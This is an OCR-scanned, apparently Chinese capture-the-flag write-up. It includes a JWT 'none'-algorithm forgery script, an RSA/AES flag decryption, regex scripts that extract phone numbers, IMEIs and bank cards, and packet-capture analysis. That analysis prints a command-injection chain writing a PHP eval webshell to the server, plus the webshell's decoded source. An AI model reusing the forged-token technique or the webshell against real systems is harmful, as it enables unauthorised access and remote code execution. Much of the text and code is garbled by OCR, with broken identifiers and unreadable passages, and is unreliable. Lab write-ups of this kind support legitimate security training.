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easy_node
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const token = jwt.sign({username}, secret, {algorithm: 'HS256'});

algorithmZg iz Ralgorithms, XEBEFERA, SEXNHEERBREEFHE
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const jwt = require('jsonwebtoken');

var payload = {
username: 'admin'

}
var token = jwt.sign(payload, undefined, {algorithm: 'none'});
console.log(token);

& > @ A Notsecure | eci-2ze430tpvkdSotessygb.cloudecil.ichungiu.com/login
Q Maps (A CTF-we.. @ 1.1471.254:28108 (11EEE) ssTHE.. @ (11£4E) SSRAE.. M ERSSTI(python.. @ New Tab

admin login successfully

[w ﬂ Elements Console  Sources Metwork Performance Memory  Application Security Lighthouse Recorder & Performance insights &

LOAD SPLIT EXECUTE TEST -~ sQLl -~ Xss -~ LEIF = SSTI ~ SHELL ~ ENCODING -~ H

URL
http://eci-2ze430tpvkdSotcssyqb.cloudecil.ichungiu.com/login

enctype

- Enable POST application/json v

Body
{"auth""eyJhbGciOiJub25lliwidHIwljoiSIdUIn0.eyJ1c2VybmFtZSI6ImFkbWiluliwiaWFOljoxNjY2Njg TNTE1fQ."}

IR HRER

{"properties":[{"0":"flag","length":1}]}
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from Crypto.Util.number import getPrime,bytes_to_long,long_to_bytes

import base64

from Crypto.Publickey import RSA

from Crypto.Cipher import PKCS1_v1_5,AES

from Crypto.Util.Padding import unpad

from gmpy2 import invert

p=272996653310673477252411125948039410213
q=272996653310673477252411125948039410333
encrypted_aes_key=base64.b64decode("hNjALvjhXUT4Uk6pMmC3004hhhFDhtbPQzhYZzUT+bswj
DHer2fvCTQKGI2hmEb4TDWX2sOhuNPCS046v02BVUW==")
encrypted_private_key=base64.b64decode('MN2eT1GkrNYRjBfCmSOOXAhtFVOhH3ApIHQIMZNGT
8rsykb2jFomNX5wwxYqgedl6u50yxy6A0Px20LU2Z1GdMTYA8p]j/FOgdAivQq5/0IMlgasFa2omN7unfk
+L3FS5MvI+MfsypImXqLqSjxIwo81Cm/pTO/YmPHppg6/1xplK9IFIB80k3Toic4DASMEEN]240tNdME
g7+fcCcx0uUz2B6y115qizkk54hPoa7Tpkpectzybn82eyqav3/QQILr9gnhnugl+zhBwFdw3mAmA+ulyk
+SSMyM6s66WA7+yMwUopsSwR2uMO8b8m/Xw+x5zxT0y2XERNmMHjULYY8UV34261+q7UH1G30hRIXKLINK
Mt2MMgyLsP5HA8gNIHVSVZ5VoDtuvewVv7zg4vITEOG55vTbXpH/ZpqGsPg374Hcq305KG6LTWCNCDIWS
DFMrknUGh3T+fMXyw6vbQvtb1c5bkp5allj+riSkkzI3mI55/ZRNAGONKC2RoTnvpFe/jV7pIcuQwlhd
YDDgCcEujAOayyHE4zRqjSA2TKi1KMeXB09xgbcAos7cajiP51kDmlyISchzmAodpLBOFFOOX633st2k5y
Bmb2dpc09dFCxkx6HIWUN77/Z21z5aRpGME5SE+qR4ACtKVYVYPHGGEOMrtYNZnZH7RwZEYwvU9dBOMWWe 1
€9d8fmPDMIETkwGyMKg16SIGQbzSEdORTS5LtwWhari0lgskMt7XKRtUDXwtpXUBYQIkmPYcMOvasiwOEQ
Y6CBIUAEanzpxAp5iEIgmbEZXEOW5bQa5x0ovyw/i25y/PefGjPqIzmkS3jLc8g9Is3Z0DwWXrTRV7ZWhqi
r8d7+VEITRoo5ktrBvyMLkI9Si2h5LX/gBLZz9NEGB1tuaRYJULTOFSM/1T6RT4ErGQ77QYt/U/brSe4gr
Z4+pmMKpLaOLihunNRV7 INkX6hw7ddG4FoqHj+ZfYG+hKmYVGIH+M7+JWFMJ JHLC6I+TZ05YG5vaBfIM
++hP8IA2P4MO1a+SKCi fbXf8SiAKOWMIPVHLN8XZjXG+50PBDSB3kkgV+/9CFuGh5AdxUz0YKhgoDawt
NTj13MiVi5NvXqS7pmPIk/QnvgKt3BvV2sfRIr/aiwxhb4DBigqTVvEfBsSTmycEp7hCI8zpQApTyKKkR35H
7I0ZyX+QXXANMpZetKC+5hs2IjygzaYRhjTFrwzKyxR7 fAwwwaqpi3XpwwIsgzebFngqe9mkkAaXaTlp3gQ
UVKZOFSpP8ES/Nz+knXAkYpzCI8Y1H+072LL002n2hGULr/KWXF6p4YWDQUGSZTWIPSDb2L8ys+D9Bq4I
ezecOKcz3LTAwWptzKKamte+uMrejiq5fNOPX8QR5pmGT2SwxU/s6tjkhwQNM3Lago3PpTVv2Sv5/q6RQH
21zcci0GQoPBpVabdrfOuzttMfxQ9bv4jHIweEjev]j04HS52GekEkauIuduu5yc+zAfbmdBINXTTZNMS
ko/v4s7wIDa0/1lcuvwpoz68aqk4y7YplRuRrcqQt3i8wyn2ejF/u00epSAP/sNet2FHD]jPdGODsHe2zU
/43xhezcORAtTIDr/DaY6+ynIcbF63jwc9c8KfzP8eTNLrdhdx091ikzLzkmwz1CCIOrrrRaMzBzbv5cx+
uhJSwzLjvcrBroobMl17AAzLa8Na4g/UzuSdQVmoSzjOXCE4m5RUKHIMEXT jSnUAWtUOHgSkxuVv84Rww
/0Bt90VBONADPYruys8gksfwz+TIzJua8y1vX9ijQzjTDVEYOKOG+WLEPPT7ZAT4jxiBbXnHNVqzUt6A
mi r/8/aUOO/ZKOa'FV8VIBgO41 CGRG/d17w923CzesDQuBJ EkL2uk9ORCIIVLr‘g9WWH11ITC'FX132AD7G
59goGPITIui8wwbPGKVPYITLknepGBIHBA3Ct+GVDGbdKNeIN5dMC/NmHp5S0/asky8R8BUPMTTrRs4kNd
Koc79kQOMop3MS1YKiBhcTeD3YKrF1Tpj+d2bhtAQTr5Ty0gG15WwOqx5DMCXxPIQ8a0f4B7ZzRENTSR 5
KmHrhCL1ER3L1tJcCM2dV/SaPDETSgAJ1VTS LplD1AsaAQIfi60uxP+1Y7pNU5Xx9rF3Y1x9nzIL393b0
C6VNTRLNQjwGo1iHGUAhbj feNwrCKIpDHWGXriTAuaZtLZINXEoLtns4 ")

n=p*q

e=65537

d=invert(e, (p-1)*(g-1))

prikey_pkcs=""

for i in range(0,len(encrypted_private_key),32):
c=bytes_to_long(encrypted_private_key[i:i+32])
m=pow(c,d,n)
plain_ =long_to_bytes(m)
for i in range(len(plain_)-1,0,-1):


af://n118

if plain_[i] == O:
prikey_pkcs+=plain_[i+1:].decode()

print(prikey_pkcs)
private_key=RSA.import_key(prikey_pkcs)

uid_d=private_key.d
uid_n=private_key.n
aes_key=b""'
for i in range(0,len(encrypted_aes_key),16):
c=bytes_to_long(encrypted_aes_key[i:i+16])
m=pow(c,uid_d,uid_n)
plain_=Tong_to_bytes(m)
for i in range(len(plain_)-1,0,-1):
if plain_[i]==0:
aes_key+=pTlain_[i+1:]
cipher=AES.new(aes_key,AES.MODE_CBC, aes_key)
f=open("flag.mp3.Tocked", 'rb")
ccce=f.read(Q)
res=cipher.decrypt(cccc)
fo=open("flag.mp3","wb")
fo.write(res)
fo.close()

RER—EMXY, Uiflag

SRR %S
HELA: FBEREA
SR BRI R AT —

import re

###H### Tuhn 505 #####H

def Tuhn_checksum(card_number):
def digits_of(n):


af://n72

return [int(d) for d in str(n)]

digits = digits_of(card_number)
odd_digits = digits[-1::-2]
even_digits = digits[-2::-2]
checksum = 0
checksum += sum(odd_digits)
for d in even_digits:

d_0 = 2*d

d_1=d.0 // 10

d_2 =d_0 % 10

checksum += d_1

checksum += d_2

return checksum % 10

###HHARRH VCHCEREL  ##t#### RS

def f(head,tail,text):
ans = []
reses = re.findall("("+head + tail+")", text)
for res in reses:
ans.append(res[0])
return ans

ff = open("result.txt", "a")
ff.write("Now the file has more content!\n")

#### phone ####

texts = open('./sens_data.txt', 'r').readlines()

heads = open('./phone_head.txt', 'r').readlines()

tail = "(L\\-1\s1) (\d) (\d) (\d) \d) C[\\-T [ [\s1) Q\d) A\d) A\d) (\dD ™

for ii in range(len(texts)):
text = texts[ii]

for head in heads:
ans = f("\s" + head.strip(), tail, text)
for i in ans:
print(ii + 1, "PhoneNo", i[1l:])
ff.write(str(ii + 1) + ",PhoneNo," + str(i[1:]))
ff.write("\n")

#B#HAH#RAH IMET #####
texts = open('./sens_data.txt', 'r').readlines()

heads = open('./IMEI_head.txt', 'r').readlines()
tail = "(\d) (\d) A\d) (\d) (\d) (\d) (\d) (\d) (\d) A\d) \d) A\ A\ ™



for ii in range(len(texts)):
text = texts[ii]

for head in heads:
ans = f("\s" + head.strip(), tail, text)
for i in ans:
if luhn_checksum(i[1:-1]) == int(i[-1]):
print(ii + 1, "IMEI", i[l:])
ff.write(str(ii + 1) + ",IMEI," + str(i[1:]1))
ff.write("\n")

##### bankcard #####

texts = open('./sens_data.txt', 'r').readlines()
heads = open('./bankcard_head.txt', 'r').readlines()
tail = "(\d{10,16})"

for ii in range(len(texts)):
text = texts[ii]

for head in heads:

ans = f("\s" + head.strip(), tail, text)

for i in ans:
# if luhn_checksum(i[1l:-1]) == int(i[-1]1):

# print(i[1:]1)

print(ii + 1, "Bankcard", i[1:])
ff.write(str(ii + 1) + ",Bankcard,”" + str(i[1l:]1))
ff.write("\n")

#### Apva #it#E

head = "(25[0-5][2[0-4]\d| [0-1]\d{2} | [1-9]1?\d)\.(25[0-5]|2[0-4]\d| [0-1]\d{2}|[1-
91?\d\. (25[0-5112[0-4]1\d| [0-11\d{2} | [1-917\d)\. (25[0-5] | 2[0-4]\d| [0-1]\d{2} | [1-
91 N\d)"
texts = open('./sens_data.txt', 'r').readlines()
for ii in range(len(texts)):

text = texts[iil

ans = f(head, '', text)

for i in ans:

print(ii + 1, "IPv4", i[0:])
ff.write(str(ii + 1) + ",IPv4," + str(i[0:]))
ff.write("\n")

#####A#E Email ##t##

head = "\w[-\w.+]*@([A-Zza-z0-9][-A-zZa-z0-9]+\.)+[A-za-z]{2,14}"
text = open('./sens_data.txt', 'r').readlines()
for ii in range(len(texts)):

text = texts[ii]

ans = f(head, "', text)



for i in ans:

print(ii + 1, "Email", i[0:])
ff.write(str(ii + 1) + ",Email," + str(i[0:]))
ff.write("\n")

ff.close()
exit()

SREALRRIETARIEREHEE—RE, B TME, ERERTHARNEE

XHERZ EERB590+

REKRIMbankcardB—L&=(;& 5 ILE R

SHIA3ERIRAbankcard [TEE— T

import re

def luhn_checksum(card_number):
def digits_of(n):
return [int(d) for d in str(n)]

digits = digits_of(card_number)
odd_digits = digits[-1::-2]
even_digits = digits[-2::-2]
checksum = 0
checksum += sum(odd_digits)
for d in even_digits:

d_0 = 2*%d

d_1=d.0 // 10

d_2 =d_0 % 10

checksum += d_1

checksum += d_2

return checksum % 10

def f(text):
ans = []
patten = "[BbJlank[NnJo.*(\d{4}[- I\d{4}[- I\d{4}[- 1\d{1,6})" #&Fhpatten#fil

patten = "cardNo.*(\d{4}[- 1\d{4}[- I\d{4}[- 1\d{1,6}1)"
patten = "[Cclard&.*(\d{4}[- I\d{4}[- I\d{4}[- 1\d{1,6})"
reses = re.findall(patten, text)



# print(reses)

for res in reses:
ans.append(res)

return ans

ff = open("bank.txt", "a")
texts = open('./sens_data.txt', 'r').readlines()
for ii in range(len(texts)):
text = texts[ii]
ans = f(text)
# print(ans)
for i in ans:
print(ii+l)
# print("cheching : "+ 1)
#if Tuhn_checksum(i[1l:-1]) == int(i[-1]):
print(i[1:])
print(ii + 1,"Bankcard", i[1:])

ff.write(str(ii + 1) + ",Bankcard,”" + str(i[0:]))

ff.write("\n")

BB REREMNZNINIEIresult.txt EXRA648%

R treE
B RE (L

HRAA: XFHR
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fERwiresharkfTFFARES, FERAmMysqigiEHmysqliIEIES,

e

M Gt mysql_flow tcp.pcap 1 - o X
XHE WRRE WNEY PG WEQ S BEY EEW IAD ®BE
am:z® RE ] ®R_QQn 2
(A oy=al — )+
SeEE - ER v ORSKIS  ZHR | [Looid 4 A
0 Tine Souree ] Frotorel Lngth Info
46 17.125123 127.0.0.1 MySQL 74 Response 0K
| 48 22.860938 127.0.0.1 MySQL 102 Request Query
50 22.861223 127.0.0.1 MySQL 348 Response TABULAR Response OK
52 28.063507 127.0.0.1 MySQL 102 Request Query
54 28.063811 127.0.0.1 MySQL 363 Response TABULAR Response OK
77 34.700601 127.0.0.1 MysQL 103 Request Query
79 34.700789 127.0.0.1 MysQL 198 Response TABULAR Response OK
81 42.452087 127.0.0.1 MySQL 170 Request Query
83 42.453511 127.0.0.1 MySQL 153 Response TABULAR Response OK
89 59.852993 127.0.0.1 MysQL 134 Server Greeting proto=10 version=8.0.29
91 59.853160 127.0.0.1 MySQL 276 Login Request user=dataUser2
9359853248 127.0.0.1 MySQL 104 Auth Switch Request
95 59.853348 127.0.0.1 MySQL 8@ Auth Switch Response
97 59.853395 127.0.0.1 MySQL 67 Response 0K
99 59.853498 127.0.0.1 MySQL 95 Request Query
101 59.854581 MySQL 248 Response TABULAR Response [Malformed Packet]
103 62.707469 MySQL 80 Request Query
105 62.707665 MysQL 113 Response TABULAR Response OK =1
107 62.707739 MySQL 63 Request Use Database
109 62.707822 MysSQL 74 Response 0K
120 73.965345 MySQL 122 Request Query
122 73.968146 MySQL 253 Response TABULAR Response OK
124 81.368104 MysQL 102 Request Query
126 81.368468 MysQL 362 Response TABULAR Response OK
128 88.173185 MySQL 170 Request Query
130 88.173474 MySQL 146 Response TABULAR Response OK
182 100.761360 MySQL 134 Server Greeting proto=10 versic
I ‘ 184 100.761495 MySQL 276 Login Request user=dataUser3

ALABRISE=1""ERAF AdataUser3
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BEBPdataUser3g0ipiasiEReR

HRAE SRR

ZAEEgIthubFEEHEE HETHONE, MHEEK SR,
AEEEEMMKS, ENAT B RS RataUser3

C @ yuque.com/search?q=dataUser3 nte =u32011442%2FIwzt6 public&p=1
e+ Q dataUser3

© &3 REV MRV ARV
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import Type, Optional, Union, TYPE_CHECKING if TYPE_CHECKING: from scrubadubdetectors import Detector detector_catalogue = catalogue.create(scrubadub’, ‘datectors’, entry_points=True) ” « 2%
etkey: sys1233 FBFF2: dcf_customer

SHEFRIRIE, fgithubBR

userkey: dataUser3 Pull requests Issues Marketplace Explore

Repositories 1 code result
Cod (1]
Tristan-Hao/Green-
Commits o Jcatalogue.py
Jsues B tal. te(*scrubadus’, ‘detectors’, ts=True)
Discussions o
Packag. 0
Marketpl 0
Topics o z Lastindexed on 13 )
Wiki 0
User o

HENEEHHERE

https://github.com/Tristan-Hao/Green-
Berry/blob/f766064e4f9c38bf4aefal06fd3d4abbda7fe4914/catalogue.py

15 £766064e4f9c38bfdaefa06fd3d4abbda7fe4914 B9 main $23ZENR]
3
RIEdataUser3g0ipanEa, MEHSEIRIEEE

datauserl

k5% 18798766766/ M

F/NBH 133456788791k i B IX

13573839493 15877886543 13098887678 18798766766
Hibik: LA BN TR 975

datauser?

BR MALE A KA

Roberto Qian Beijing

Liu Xiao 13098887678 JtmTh & TIX
BERANIK % : 621700323000106% ***

datausers3
F/NB] 13345678879 JbiThHE-FIX
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K 13573839493 LB A XL
Roberto Qian 15877886543 Beijing
Liu xiao 13098887678 Jtxiihi &FIX
ke 18798766766 /i

LK dataUser33k1889

## select * from dcf_encryption_info
1 Baseb4

MD5

SHA1l go321

AES aall

AES sin30

vl AW N

## select * from dcf_receive_info3
a....1.10021x
U2FsdGVkX180ONrEC8D0a5sxdTazAewPXK80P/885zQiwlf6P4RszUf1801vVOoczurimp/uoUadNuwvb7f
7yTCRw==
..... 2.10024.
U2FsdGVkX18DnWH7nMCG31vMd8GtLTXeuwE17xgojnkN20vsmOrXzNgqLEIORSNwWPYN+/p9BG40DOr4Iw
czj2A3nMwuzkzzTE8z88f/69GzjhhbdA52IK3flpivFbnst+
u....3.100221
U2FsdGVkX1+/NGJAQRB1Fe+GyjneDvQ8ncbgP+ra5DXk1XGLUGXMbf7TLC5NSScurruB2moxXHIhOye
NiW3vXC+/1KbXxQoQhphvQikuix0=
u....4.110211
U2FsdGVkX18X1/E8qwWRNMBION1Z+fKLmmkhuvaOEoCRSnppuybewTcho8XWURIhDOhS1TgBLLH/gAW3 1
JAGO5BTNI9VjUCEQiY7ydCcWGPBSs=

.5.15021.
U2FsdGVvkX19Ggh30S0gbTTKMw+mXBg2H+FsngqcZNr+KmwQnpVNLDtpPqt5eX7/hFEIbGXx0rJ9vux3t
BJZkRORYL+TQHV6
QHoYvQweOFLRY/PcpP5D2NoqzZMLT6hwrz
u...6.150211
U2FsdGVkX1+bn0csCcNtspL662QhIQI/NEsj8fwwyIBUOGVXvvc/ygymTqH3X8LFCcyvPV4AYE70txkRX0
S900x49TI/StAcIdnQBletRVA2g=
a....7.15021x
U2FsdGVkX1+2aHxIB+0HCAPNn7x370DV5RXN2LST rmkgbNa8bpEfapNqyxwXFwtIvS3devfVNpgN6pFzp
NDiELA==
a....8.11021x
U2FsdGVkXx180j2t+msNrl7TOsXpcrwOUsylyqQYRoJF1IQwnD/thdIpPKZ1xTVtrgo8y6LQn5yMMzTen
R6VNiw==
a...9.15022x
U2FsdGVkXx1+93npTkiALajdkwz5i4ccX2nVOmMRQGTKQUCEOOOYpGBKSM21ayhTOwq7t7vypmpgqLemw]
QN5z4Q==
b....10.16025X
U2FsdGvkx19uDaaDF/0X1yvPtZHqG1ljG2FwObDQM+3jqLON19RE5MOdiQNVIOk150G+ZB30w+8pDvwIw9
hdT8wQ==
b....11.15028X
U2FsdGVkX1/GrerF+qsfy8Fq+w800t7ABU10qzrCoCFo+i42H03T9q2E]jSKkSGSPh3gDfBHfamAIwf10R
OwprGw==
b....12.15026X
U2FsdGVkX19AU0JIfLgSTjgV5N/ywPPOvVV52phIYE]jxdX70a0G8ek8D55IPDYa7Bz05BmmFE89CVgMDI
tlY7zg==
J....13.15771@
U2FsdGVkX19Vv7mz60tuRIdXKP/0pG1DXB17LwM8Ng28m0Om9w1GsBDUynwm4Hh {1
J....14.15231@



U2FsdGVkX19PJjvCz4dPBUzWFOAQOZrrRQT5C7bYAbC2DUBEggsjIWT1psukgeFQOK
J....15.15451@
U2FsdGVvkx18118m10IwPfx13310PPIE64pywNqwvq88P0ZISU7WMO2ZyDNXXD/0on
J....16.15091@
U2FsdGVkX19yVfbektz9sPomf64ars54qTNOQI4gHIAOAGNPMtwlkGal2zMx7MD1

SQLpacket

MR EEM

BSHNds, HTTPYIS:

M ireshark - Bt - HTTP 3igFlz - o x
TEEES: | Content Type: |ALL Content-Types v/
#48 HE [EEES Hh S 2
2092 192.168.154.190:8011 text/html 6638 bytes search.php

2099 192.168.154.190:8011 text/html 305 bytes  tmpucldc.php

2112 192.168.154.190:8011 text/html 301 bytes  tmpucldc.php

2119 192.168.154.190:8011 text/html 297 bytes tmpucldc.php

2138 192.168.154.190:8011 application/x-www-form-urlencoded 1588 bytes search.php

2141 192.168.154.190:8011 text/html 6638 bytes search.php

2154 192.168.154.190:8011 application/x-www-form-urlencoded 275 bytes search.php

2156 192.168.154.190:8011 text/html 7166 bytes search.php

2165 192.168.154.190:8011 text/html 305 bytes tmpuzigr.php

2173 192.168.154.190:8011 text/html 301 bytes tmpuzigr.php

2183 192.168.154.190:8011 text/html 297 bytes tmpuzigr.php

2196 192.168.154.190:8011 text/html 312 bytes tmpuzigr.php

2202 192.168.154.190:8011 multipart/form-data 1248 bytes tmpuzigr.php

2205 192.168.154.190:8011 text/html 22 bytes  tmpuzigr.php

2218 192.168.154.190:8011 text/html 34 bytes  tmpbkxya.php?cmd=echo%20command%20execution%20test

2228 192.168.154.190:8011 text/html 186 bytes tmpbkxya.php?cmd=Is

2239 192.168.154.190:8011 text/html 11 bytes  tmpbkxya.php?cmd=echo%20PD9waHAKQGVycmIyX3)lcGOydGluZygwKTsKc2Vzc2
2250 192.168.154.190:8011 text/html 11 bytes  tmpbkxya.php?cmd=chmod%20777%20shell.php

2263 192.168.154.190:8011 application/x-www-form-urlencoded 3308 bytes shell.php

2266 192.168.154.190:8011 text/html 1708 bytes shell.php

2269 192.168.154.190:8011 application/x-www-form-urlencoded 2796 bytes shell.php

2307 192.168.154.190:8011 text/html 155 kB shell.php

2324 192.168.154.190:8011 application/x-www-form-urlencoded 15 kB shell.php

2326 192.168.154.190:8011 text/html 64 bytes  shell.php w
£ - i V o V - >

swe | [ s || meia o

A Ashell.phpf1E SaTE(E

URL
echo

PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKe2Vze2lvbl9zdGFydCgpOwogICAgJGtleTOIMDVjMWNjOWMYZGVhZmI3NSI7CgkkX1NFUTNJTO5bJ2snXT0ka2V50woJc
2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBVE3Q9ZmIsZVInZXRfY29udGVudHMolnBocDovl 2lucHVOIik7CglpZighZXh0ZWSzaW9uX2xvYWRIZCgnb3BIbnNzbCepKQode

woJCSROPSJIYXNINjRfli4iZGVjb2RIljskCQkkcG9zdDOkdCgkeG9zd C4ilik7 CgkJZm9yKCRpPTA7 JGk8c3RybGVUKCRwb3NOKTskaSsrKSB7CiAgICAJCQkgJHBve3RbJGIdI
D0gJHBvc3RbJGIdXiRrZXIbJGkrMSYxNV071AogICAgCQkJfQoJfQodZWxzZQoJewoJCSRwb3NOPWIWZW5zc2xfZGVjcnlwdCgkeG9zdCwglkFFUzZEYOCIsICRrZXkpOwoJ
fQogICAgJGFycj1leHBsb2RIKCd8JywkeG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwoglCAgJHBhecmFtezOkYXJyWzFdOwoJY2xhe3MgQ3twdWJsaWMgZnVuY3Rpb24gX
19pbnZva2UoJHApIHtIdmMFsKCRwLIlIKTt9fQoglCAgQGNhbGxfdXNIclOmdW5jKG5IdyBDKCksJHBhemFieyk7Cj8+ |base64 -d > shell.php

BT DMEHENIEFER



af://n261

gerror_reporting(a);
session start();
$key="05clcc9c2de
$ SESSION[ 'k']=$key;
session write close();
$post=file get contents("php://
s1'))

I
L

$P05t=$t{$gnst.””];
for($i=0;%i<strlen($post);$i++) {
$post|[$1i]| = $post|[%i]|~$key|$i+18&15];

$post=openssl decrypt($post, "AES128", $key);
}
$arr=explode(’ |’ ,$post);
$func=garr|[e];
$params=$arr|[1];
class C{public function __ invoke($p) {eval($p.
user_func(new C(),$params);

man

11
» 10

SHBEENA (ERBEIENTSHIEE, FFUBIEILE)

import base64
from Crypto.Cipher import AES

def decrypt(post):
key = b'05clcc9c2deafb75’

post = base64.b64decode(post)
# post = Tist(post)
# for i, v in enumerate(post):

# post[i] = v A key[(i + 1) & 15]
# post = bytes(post)
# post

aesl = AES.new(key, AES.MODE_CBC)

aes2 = AES.new(key, AES.MODE_ECB)

partl, part2 = aesl.decrypt(post), aes2.decrypt(post)
post = part2[:16] + partl[16:]

return post

decrypt('GBry5Tfoces2H41Rjd+Gkmso9QPVLUsIsqV+CkcVvIos/1/p2zZBgq6EuULkyMLZOF")



2218 192.168.154.190:8011 text/html 34bytes  tmpbkxya.php?cmd=echo
2228 192.168.154.190:8011 text/html 186 bytes tmpbkxya.php?cmd=Is
2239 192.168.154.190:8011 text/html 11 bytes  tmpbkxya.php?cmd=echo

MAEA AR A A A A mea A vl P | . -

MEN BEEG)  HETEC e M Wireshark - iBB HTTP 5 (tcp.stream eq 185) - sql.pcapng

1}
il
m

.l.l () KE Qeu=mEZF S

Cookie: PHPSESSID=plkvtvm2bnc37alih7u7icf7ol
[ [tep. strean eq 185 Connection: close
fo. Source Destination
— 2208 192.168.154.131 172.17.0.2 | |HTTP/1.1 200 OK
2200 172.17.0.2 192.168.154.. ] |Date: Thu, 87 Jul 2022 @2:22:57 GMT
2210 192.168.154.131 172.17.8.2 | |Server: Apache/2.4.7 (Ubuntu)
1+ 2223192.168.154.131 172.17.8.2 | |X-Powered-By: PHP/5.5.9-1ubuntu4.14
2225172.17.0.2 192.168.154.. ] |Vary: Accept-Encoding
i\ 2228172.17.0.2 192.168.154,, | |content-Encoding: gzip
2229 172.17.0.2 192.168.154. | |content-Length: 162
Connection: ClOSE
2230 192.168.154.131 172.17.0.2 Content-Type: text/html
2231 192.168.154.131 172.17.0.2
L 2232172.17.0.2 192.168.154.. | |<pre>LICENSE
README . md
admin
category.php
C55
fonts
img
includes
< index.php
js

Frame 2228: 464 bytes on wire (3712 b
php_cms.sql

©2 42 90 c8 bb 1f @2 42 ac 11 o9 post.php
@1 c2 6d 6C 40 80 40 06 c4 8a ag register.php
9a 83 00 50 af 8e 57 36 ed e7 8b search.php

01 fo 03 f4 00 00 01 01 08 0a Ad |ITENEILILTRT.

33 08 48 54 54 50 2f 31 2e 31 23 tmpbkxya . php
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=
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[an]
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[

4b ed @a 44 61 74 65 3a 20 54 6 tmpucldc.php
2@ 4a 75 6¢C 20 32 30 32 32 20 3@ |tmpuzigr.php

35 37 20 47 4d 54 @d @a 53 65 72 |</pre>
A1 7Bv A1 A2 R AR IF 2192 Da 24 Jal
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g o
di

RO oM, RMFEER—ETERIA, REIRIEjsongER
{EFRtshark#Z2EY

+rd

tshark -r sql.pcapng -e tcp.stream -e http.file_data -Tfields 'tcp.stream >=
190" > rst.txt

AT FRRAIASARAT -

import json

with open('rst.txt', 'r') as f:
data = f.read().splitlines()
with open('rrrst.txt', 'w') as f:
for d in data:
d =d.split(Q
if len(d) !'= 2:
continue


af://n270
af://n273

idx, post = d

try:

post = decrypt(post)
except:

continue

# startidx = post.find(b'base64_decode(\'') + 15
print(idx, post.decode(), file=f)
if b'msg' in post:
idx = post.find(b'}")
js = json.loads(post[:idx+1])
print(base64.b64decode(js['msg']).decode(), file=f)

# b = post[startidx:post.find(b'\"'));")]
# print(b)

# s = base64.b64decode(b)

# print(s.decode())

NERFETLIENER:

/tmp/mysqle66123. ceQOPOYO20QQLOQOC: /tmp/mysqle66123.c7445
201 assert|eval(base6a _decode( 'DQplcnIvecl9yZXBvenRpbmcoMCk7DQpoZWFKZXToIeN

mysq1666123.c

2
HAESHHIA+R A cp.stream eq 1978 ERTNNE, I TRETETA]
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start: 117500

. — : length: 140619 =
Recipe SN Input lsnzgﬁ; TER oo o +0O=2nm =
© 1 MOMZRICUN]EINDTWMEQUQTYSH]YYNDTAMTEZNDY 1N Y20TZFNIUZNDTAM TaMzQXHDHONDQZNDEGNTQ

(A e ZNDE@MzQzNDUBM | QyNDEBNDQXNDUBMQzNDUYM] T5M7 k30 YONTU2N ] YSNKU2NT T4M] TaMzQxNDMOND
Alphabet QZNDE@MTQzNDE®MZQZNDUBMjQyNDEGNDQXNDUBMQZNDUYM] 1DM]ATR JVGNDYEOTRONDUIR VGMjkzQ
A-Za-20-9+/= ¥ jvankM2RjYyNjE20zTwMjRFRKIGQKQYQz IARUZCRK JERUZCRK JEMKMYNEVGQK ZCREVGQKZCREVGQKZC

Remove non-alphabet chars D Strict mode

RDIDMjRFRkIGQKRFRkIGQKRFRkIGQKRFRkIGQkQyQz IORUZCRkIERUZCRKIERUZCRKIERUZCRKIERUZ
CRkIEMkMyNEVGQkZCREVGQkZCREVGQKZ CREVGQKZCREVGQkZCREVGQKZCRDIDM] RFRkJGQKRFRkJIGQK
RFRkJGQKRFRkJIGQKRFRk IGQkRFRkIGQkRFRkIGQKQyQz IORUZCRkIERUZCRKIERUZCRKIERUZCRKIER
UZCRKJERUZCRKIERUZCRKIERUZCRKIEMKMYNEVGQKZCREVGQKZCREVGQKZCREVGQKZCREVGQKZCREVG
QkZCREVGQkZCREVGQKZCREVGQKZCRDIDMIRFRKIGQKRFRKIGOKQIRKVGQKZCREVGQKZCREVGQKZCREV

From Hex GD Il GQkZCREVGQKZCREVGQKZCREVGQKZCRDIDMIRFRKIGOKRFRIGQKRFRKIGQKRFRKIGQKRFRKIGQKRFRK
JIGQkRFRkIGQkRFRkIGQKRFRkIGQKRFRkIGQKRFRKIGQkQYQzIORUZCRKIERUZCRKIERUZCRKIERUZCR
Delimiter Larnizenlbarniuzenlarnus ol arn iz onbarnnson e R T ol Ar AT oA LA AT el At e e AL o
None i
. ox start: 44063 time: 56ms a I_ n e
d: 44899 1 th: 44183
OUtPUt /‘ len;:h: 36 T;ﬁes‘ 5 D i -

6JtBR2RR@Up41 JHF8C7190Y800bLGF Z9@B2xYCIWNpZZ @ 1HAN3d09 TWLgX06VjbpNCTr@rop3t
WN@OLL@r3KFNtIONbe@VdeKUXrcI9TPROE7Z8KSKL It @KaEr9+nLSyo@yTTD7JDEB3MW. 1XQNC2Xa
TIy€i600PP/hoc6€vadPXjzbOHw@Nus3eYhC+fN@x59sHgY3vAc@fbvE+CcIbUo@bPur7tq3td
h€+22158PH/ /v &tHNSB2DXSHb Iz FF 30VS8r@FVKED/ foaTf @+M18/SAWQUWEYRT QWH+NPS €
Dazalg/7Tek@pdH5LcindY7 @ 3wk+dkmzLvw@KXYSPvuAadu€rq/ WDz 10eUok€rydWaUPvvwz €7C
FAVLXT+ud@3tzLLuyfPfz@78eEffzu+fPHE7ePDE/ ++X@otfffvzDyBeH/7529¢/ /Ffh@+bfn
u6/e/viQtbv/rt7u+v3@r74svHh/ cvX€L19+++9fXzA€+/Pz68+f/ /F@H3I56+/fHz44€45Xbo/
88Teb@V/968/ jwouv@vnrzalrzss€ps/Pjss+e679€798/ /L591+9€p+vznxdexv?/
©@48ptvT/7p+T@Of/FT96zXGr€p3+8e/nLN59/
©//7vD2/fra7@ffvHrm3+8eP@efd29/ef3D24p/+8+/CiTz/SQHT+NOFA=€ ' ))); ", " @O @
QOOO© . ©biebafcafebscedadbeb530b91cef3FfoQ QO QOO ") ;return true;?>

Auto Bake

BElsecret Y&

e M BB IR

MR EEM

Yy wae1690a2-8e67-421e-bdcd- c4518995dag8g

1

GitHub #% green berry ZTINA : https://github.com/Tristan-Hao/Green-Berry,

HEcommit, &Ikey:

# 1L Luuid e LMproved LT WE KN0W WILOD pusL

XFNBHgmegYww ZVnblp Jyw

pracessu
# user_id or acc key

for post_processor in self._post_processors:

- mAar+ ArAaraccAr Aracace £11EFRIFTTHR T

Fil+h 114

&= https://github.com/Tristan-Hao/Green-Berry/blob/main/scrubbers.py.

N

